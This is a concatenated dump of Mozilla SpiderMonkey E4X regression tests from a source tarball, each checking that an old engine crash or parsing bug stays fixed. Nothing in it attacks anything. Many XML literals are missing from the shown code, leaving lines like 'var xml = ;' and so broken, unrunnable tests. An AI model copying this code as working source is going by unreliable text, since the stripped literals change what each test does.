namespace'; var BUGNUMBER = 277779; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var xhtml2NS = new Namespace('http://www.w3.org/2002/06/xhtml2'); var xml = ; xml.setNamespace(xhtml2NS); expect = 'http://www.w3.org/2002/06/xhtml2'; actual = xml.namespace().toString(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-373082.js0000664000175000017500000000277312106270663022045 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 373082; var summary = 'Simpler sharing of XML and XMLList functions'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var l; expect = ''; l = <>; actual = l.toXMLString(); TEST(1, expect, actual); expect = ''; l.setName('b'); actual = l.toXMLString(); TEST(2, expect, actual); expect = ''; XMLList.prototype.function::setName.call(l, 'c'); actual = l.toXMLString(); TEST(3, expect, actual); expect = 't'; l = <>text; actual = l.charAt(0); TEST(4, expect, actual); expect = "TypeError"; delete XML.prototype.function::toString; var xml = TEXT; var saveToString = Object.prototype.toString; delete Object.prototype.toString; try { actual = xml.toString(); } catch(ex) { actual = ex.name; } finally { Object.prototype.toString = saveToString; } TEST(7, expect, actual); expect = "TypeError"; try { var x = ; x.(name == "Foo"); print(x.function::name()); } catch(ex) { actual = ex.name; } TEST(8, expect, actual); try { x = ; x.(name == "Foo"); print(x.name()); } catch(ex) { actual = ex.name; } TEST(9, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-318922.js0000664000175000017500000000236212106270663022041 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'E4X - Do not crash on XML initializer '; var BUGNUMBER = 318922; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var a, b, x; printStatus('b=2;a=x'); b=2; a=x; TEST(1, expect, actual); printStatus('b="c"; a=x; '); b="c"; a=x; TEST(2, expect, actual); try { a=''; b='"'; eval('a=x'); } catch(e) { printStatus(e); } TEST(3, expect, actual); try { a=''; b='"'; eval('a=x'); } catch(e) { printStatus(e); } TEST(5, expect, actual); try { a=''; b='x'; eval('a=x'); } catch(e) { printStatus(e); } TEST(6, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-587434.js0000664000175000017500000000047612106270663022053 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ */ (function() { function::a(eval("false"), true); function a({}) {} })() /* Don't crash because of bad |this| value. */ reportCompare(0, 0, "ok"); mozjs17.0.0/js/src/tests/e4x/Regress/regress-328249.js0000664000175000017500000000132412106270663022041 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Crash due to infinite recursion in js_IsXMLName"; var BUGNUMBER = 328249; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); try { var A = ; var B = A.p1; var C = B.p2; B.p3 = C; C.p4 = B; C.appendChild(B); C.p5 = C; } catch(ex) { printStatus(ex+''); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-329257.js0000664000175000017500000000234412106270663022044 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 329257; var summary = "namespace prefix in E4X dot query"; printBugNumber(BUGNUMBER); START(summary); var ns12 = new Namespace("foo"); var nestInfo = 10 1 100 2 1000 3 ; var paramInfo = nestInfo.ns12::ParameterAvailabilityInfo; var paramInfo100 = nestInfo.ns12::ParameterAvailabilityInfo.(ns12::ParameterID == 100); TEST(1, 2, Number(paramInfo100.ns12::PowerOfTen)); default xml namespace = ns12; var paramInfo100 = nestInfo.ParameterAvailabilityInfo.(ParameterID == 100); TEST(2, 2, Number(paramInfo100.ns12::PowerOfTen)); mozjs17.0.0/js/src/tests/e4x/Regress/regress-309897.js0000664000175000017500000000145112106270663022052 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Regression - appending elements crashes mozilla"; var BUGNUMBER = 309897; var actual = "No Crash"; var expect = "No Crash"; printBugNumber(BUGNUMBER); START(summary); function crash() { try { var top = ; for (var i = 0; i < 1000; i++) { top.stuff += stuff; } } catch(e) { printStatus("Exception: " + e); } } crash(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-263934.js0000664000175000017500000000125612106270663022044 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("Testing that replacing a list item with a new list that contains that item works"); printBugNumber(263934); var x = two three ; // insert element in from of first element x.b[0] = one + x.b[0]; var expected = one two three ; TEST(1, expected, x); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-356238-03.js0000664000175000017500000000155612106270663022267 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 356238; var summary = 'bug 356238'; var actual = 'No Error'; var expect = 'No Error'; printBugNumber(BUGNUMBER); START(summary); var xml = ; var child = xml.child[0]; try { child.insertChildBefore(null, xml.child); actual = "insertChildBefore succeded when it should throw an exception"; } catch (e) { } var list = child.*; var text = uneval(list[1]); if (!/(undefined|\(void 0\))/.test(text)) throw "child got unexpected second element: "+text; TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-355474-02.js0000664000175000017500000000123212106270663022256 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 355474; var summary = 'Iterating over XML with WAY_TOO_MUCH_GC'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = 'text'; for each (var i in <>text) { printStatus(i.toXMLString()); actual = i.toXMLString(); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-458679-01.js0000664000175000017500000000133512106270663022274 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(Android) silentfail /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'GetXMLEntity should not assume FastAppendChar is infallible'; var BUGNUMBER = 458679; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expectExitCode(0); expectExitCode(5); try { var x = "<"; while (x.length < 12000000) x += x; {x}; } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-278112.js0000664000175000017500000000123712106270663022035 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START('setNamespace() should not affect namespaceDeclarations()'); printBugNumber('278112'); var xhtml1NS = new Namespace('http://www.w3.org/1999/xhtml'); var xhtml = ; xhtml.setNamespace(xhtml1NS); TEST(1, 0, xhtml.namespaceDeclarations().length); TEST(2, xhtml1NS, xhtml.namespace()); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-347155.js0000664000175000017500000000135612106270663022043 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 347155; var summary = 'Do not crash with deeply nested e4x literal'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); function repeat(str, num) { var s="", i; for (i=0; i", n) + 3 + repeat("", n); try { eval(e4x); } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-470619.js0000775000175000017500000000117412106270663022046 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Do not assert: regs.sp - 2 >= StackBase(fp)'; var BUGNUMBER = 470619; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); try { y = ; for (var z = 0; z < 2; ++z) { +y }; } catch(ex) { print(ex + ''); } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-356238-01.js0000664000175000017500000000106412106270663022257 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 356238; var summary = 'bug 356238'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); try { .replace(1); } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-327697.js0000664000175000017500000000210012106270663022040 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Make XPConnect refuse to wrap e4x"; var BUGNUMBER = 327697; var actual = 'No Hang'; var expect = 'No Hang'; printBugNumber(BUGNUMBER); START(summary); printStatus('This test runs in the browser only'); function init() { try { var sel = document.getElementsByTagName("select")[0]; sel.add(document.createElement('foo'), ); } catch(ex) { printStatus(ex + ''); } TEST(1, expect, actual); END(); gDelayTestDriverEnd = false; jsTestDriverEnd(); } if (typeof window != 'undefined') { // delay test driver end gDelayTestDriverEnd = true; document.write(''); window.addEventListener("load", init, false); } else { TEST(1, expect, actual); END(); } mozjs17.0.0/js/src/tests/e4x/Regress/regress-361451.js0000664000175000017500000000125012106270663022027 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip -- obsolete test /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 361451; var summary = 'Do not crash with E4X, watch, import'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var obj = ; obj.watch('x', print); try { import obj.yyy; } catch(e) { } obj = undefined; gc(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-277664.js0000664000175000017500000000127212106270663022047 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // testcase from Martin.Honnen@arcor.de var summary = 'duplicate attribute names'; var BUGNUMBER = 277664; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = 'error'; try { var god = ; actual = 'no error'; } catch(e) { actual = 'error'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-311580.js0000664000175000017500000000143512106270663022032 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Regression - properly root stack in toXMLString"; var BUGNUMBER = 311580; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); // Not a performance problem. var xmlOl = new XML('

  1. Item 1<\/li>
  2. Item 2<\/li><\/ol>'); var list = xmlOl.li; for(i = 0; i < 30000; i++) { list[i+2] = "Item " + (i+3); // This code is slow. } var s = xmlOl.toXMLString(); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-378492.js0000664000175000017500000000115412106270663022047 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 378492; var summary = 'namespace_trace/qname_trace should check for null private, ' + 'WAY_TOO_MUCH_GC'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); try { eval(''); } catch(ex) { } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-352103.js0000664000175000017500000000170612106270663022027 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = "352103"; var summary = " XML initializer should generate a SyntaxError"; var actual, expect; printBugNumber(BUGNUMBER); START(summary); /************** * BEGIN TEST * **************/ var failed = false; try { try { eval("var x = ;"); // force non-compile-time exception throw "No SyntaxError thrown!"; } catch (e) { if (!(e instanceof SyntaxError)) throw "Unexpected exception: " + e; } } catch (ex) { failed = ex; } expect = false; actual = failed; TEST(1, expect, actual); mozjs17.0.0/js/src/tests/e4x/Regress/regress-327691-01.js0000664000175000017500000000117112106270663022257 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Do not crash in js_IsXMLName"; var BUGNUMBER = 327691; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var A=; var B=A.h; var D=B.h; B.h=D.h; B[0]=B.h; B.h=D.h; // Crashes at js_IsXMLName. TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-352223.js0000664000175000017500000000141612106270663022030 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 352223; var summary = 'Reject invalid spaces in tags'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = 'SyntaxError: invalid XML name'; try { eval('< foo>'); } catch(ex) { actual = ex + ''; } TEST(1, expect, actual); expect = 'SyntaxError: invalid XML tag syntax'; try { eval(''); } catch(ex) { actual = ex + ''; } TEST(2, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-369536.js0000664000175000017500000000117212106270663022046 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ START("Assignment to XML property removes attributes"); printBugNumber(369536); var x = bazOnebazTwo; TEST_XML(1, "bazTwo", x.bar[1]); x.bar[1] = "bazTwoChanged"; TEST_XML(2, "bazTwoChanged", x.bar[1]); mozjs17.0.0/js/src/tests/e4x/Regress/regress-372564.js0000664000175000017500000000110612106270663022036 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 372564; var summary = 'Do not assert: op == JSOP_ADD'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); (function() { return {a: @foo} <= 3;}); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-277683.js0000664000175000017500000000142012106270663022043 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // testcase from Martin.Honnen@arcor.de var summary = 'processing instruction with target name XML'; var BUGNUMBER = 277683; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = 'error'; try { XML.ignoreProcessingInstructions = false; var xml = Kibo; actual = 'no error'; } catch(e) { actual = 'error'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-370048-02.js0000664000175000017500000000135412106270663022255 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 370048; var summary = 'with (obj) function:: with xml lists'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); var list = <>; expect = list.function::addNamespace; with (list) actual = function::addNamespace; if (actual !== expect) throw "Inconsistent xml list view through property access and with statement." TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-355478.js0000664000175000017500000000127512106270663022052 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 355478; var summary = 'Do not crash with hasOwnProperty'; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = 'TypeError: (intermediate value).hasOwnProperty is not a constructor'; actual = ''; try { new .hasOwnProperty("y"); } catch(ex) { actual = ex + ''; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-277650.js0000664000175000017500000000134012106270663022036 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ // testcase from Martin.Honnen@arcor.de var summary = 'xml:lang attribute in XML literal'; var BUGNUMBER = 277650; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = 'no error'; try { var xml = ECMAScript for XML; actual = 'no error'; } catch(e) { actual = 'error'; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-322499.js0000664000175000017500000000125112106270663022041 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Do not define AnyName"; var BUGNUMBER = 322499; var actual = ''; var expect = ''; printBugNumber(BUGNUMBER); START(summary); expect = 'ReferenceError'; try { AnyName; } catch(ex) { actual = ex.name; } TEST(1, expect, actual); try { *; } catch(ex) { actual = ex.name; } TEST(2, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-350629.js0000664000175000017500000000537212106270663022045 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = "350629"; var summary = ".toXMLString can include invalid generated prefixes"; var actual, expect; printBugNumber(BUGNUMBER); START(summary); /************** * BEGIN TEST * **************/ var failed = false; function extractPrefix(el, attrName, attrVal) { var str = el.toXMLString(); var regex = new RegExp(' (.+?):' + attrName + '="' + attrVal + '"'); return str.match(regex)[1]; } function assertValidPrefix(p, msg) { if (!isXMLName(p) || 0 == p.search(/xml/i)) throw msg; } var el, n, p; try { // last component is invalid prefix el = ; n = new Namespace("http://foo/bar.xml"); el.@n::fiz = "eit"; p = extractPrefix(el, "fiz", "eit"); assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p); // last component is invalid prefix (different case) el = ; n = new Namespace("http://foo/bar.XML"); el.@n::fiz = "eit"; p = extractPrefix(el, "fiz", "eit"); assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p); // last component is invalid prefix (but not "xml"/"xmlns") el = ; n = new Namespace("http://foo/bar.xmln"); el.@n::baz = "quux"; p = extractPrefix(el, "baz", "quux"); assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p); // generated prefix with no valid prefix component in namespace URI el = ; n = new Namespace("xml:///"); el.@n::bike = "cycle"; p = extractPrefix(el, "bike", "cycle"); assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p); // generated prefix with no valid prefix component in namespace URI w/further // collision el = ; n = new Namespace("xml:///"); el.@n::bike = "cycle"; p = extractPrefix(el, "bike", "cycle"); assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p); // XXX this almost certainly shouldn't work, so if it fails at some time it // might not be a bug! it's only here because it *is* currently a // possible failure point for prefix generation el = ; n = new Namespace(".:/.././.:/:"); el.@n::biz = "17"; p = extractPrefix(el, "biz", "17"); assertValidPrefix(p, "namespace " + n.uri + " generated invalid prefix " + p); } catch (ex) { failed = ex; } expect = false; actual = failed; TEST(1, expect, actual); mozjs17.0.0/js/src/tests/e4x/Regress/regress-323338-1.js0000664000175000017500000000170312106270663022172 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Do not crash when qn->uri is null"; var BUGNUMBER = 323338; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); testFunc(); testFunc(); function testFunc() { var htmlXML =
    ; var childs = htmlXML.children(); var el = htmlXML.body.div..div.(function::attribute('id') == 'summary'); el.div +=
    Prototype: Test
    ; } TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-394941.js0000664000175000017500000000173112106270663022045 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(Android) silentfail /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = 'Infinite recursion should throw catchable exception'; var BUGNUMBER = 394941; var actual = ''; var expect = /InternalError: too much recursion/; expectExitCode(0); expectExitCode(5); /* * use the reportMatch so that the test will pass on 1.8 * where the error message is "too much recursion" and on 1.9.0 * where the error message is "script stack space quota is exhausted". */ printBugNumber(BUGNUMBER); START(summary); try { function f() { var z = ; f(); } f(); } catch(ex) { actual = ex + ''; print("Caught: " + ex); } reportMatch(expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-354145-05.js0000664000175000017500000000137012106270663022256 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var BUGNUMBER = 354145; var summary = 'Immutable XML'; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var xml = ; var N = 10; for (var i = 0; i != N; ++i) xml.appendChild(<{'a'+i}/>); function prepare() { delete xml.*; gc(); return "test"; } var last = xml.*[N - 1]; xml.insertChildBefore(last, { toString: prepare }); TEST(1, expect, actual); END(); mozjs17.0.0/js/src/tests/e4x/Regress/regress-308111.js0000664000175000017500000014647512106270663022044 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) skip-if(!xulRuntime.shell&&isDebugBuild) slow /* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ var summary = "Regression - Do not crash when searching large e4x tree"; var BUGNUMBER = 308111; var actual = 'No Crash'; var expect = 'No Crash'; printBugNumber(BUGNUMBER); START(summary); var xml = sessionsaver.settings.shutdown network.http.max-persistent-connections-per-proxy font.default.x-baltic plugin.scan.Quicktime capability.policy.default.DOMException.code capability.policy.mailnews.*.innerHTML.get capability.policy.mailnews.WebServiceProxyFactory.createProxy capability.policy.mailnews.SchemaLoader.load mousewheel.withcontrolkey.action font.name.monospace.x-western javascript.options.showInConsole font.name.sans-serif.x-unicode capability.policy.mailnews.SOAPEncoding.setDecoder font.name-list.sans-serif.ko browser.chrome.site_icons app.update.auto security.ssl2.des_64 print.always_cache_old_pres security.ssl3.rsa_des_sha security.warn_entering_weak.show_once network.proxy.http_port browser.display.use_document_colors browser.preferences.animateFadeIn browser.search.defaultenginename capability.principal.codebase.p0.id config.use_system_prefs font.name.monospace.x-guru security.default_personal_cert bidi.controlstextmode print.show_print_progress network.http.max-connections-per-server profile.migration_behavior browser.chrome.image_icons.max_size mousewheel.horizscroll.withaltkey.action capability.policy.mailnews.XMLHttpRequest.onerror greasemonkey.version browser.search.order.Yahoo.2 font.name.sans-serif.ko network.proxy.type security.dialog_enable_delay network.prefetch-next alerts.slideIncrement browser.blink_allowed font.name.sans-serif.x-geor font.name-list.sans-serif.zh-HK print.print_footerright capability.policy.default.History.item browser.download.manager.showAlertOnComplete capability.policy.default.Location.reload.get network.IDN_show_punycode browser.startup.homepage network.protocol-handler.external.vbscript signon.expireMasterPassword capability.policy.mailnews.SchemaLoader.loadAsync capability.policy.default.DOMException.toString.get capability.policy.mailnews.XMLHttpRequest.readyState capability.policy.default.History.back.get slider.snapMultiplier capability.policy.mailnews.XMLHttpRequest.abort images.dither print.print_headercenter font.name.monospace.zh-HK capability.policy.mailnews.HTMLAnchorElement.toString font.name.serif.x-mlym 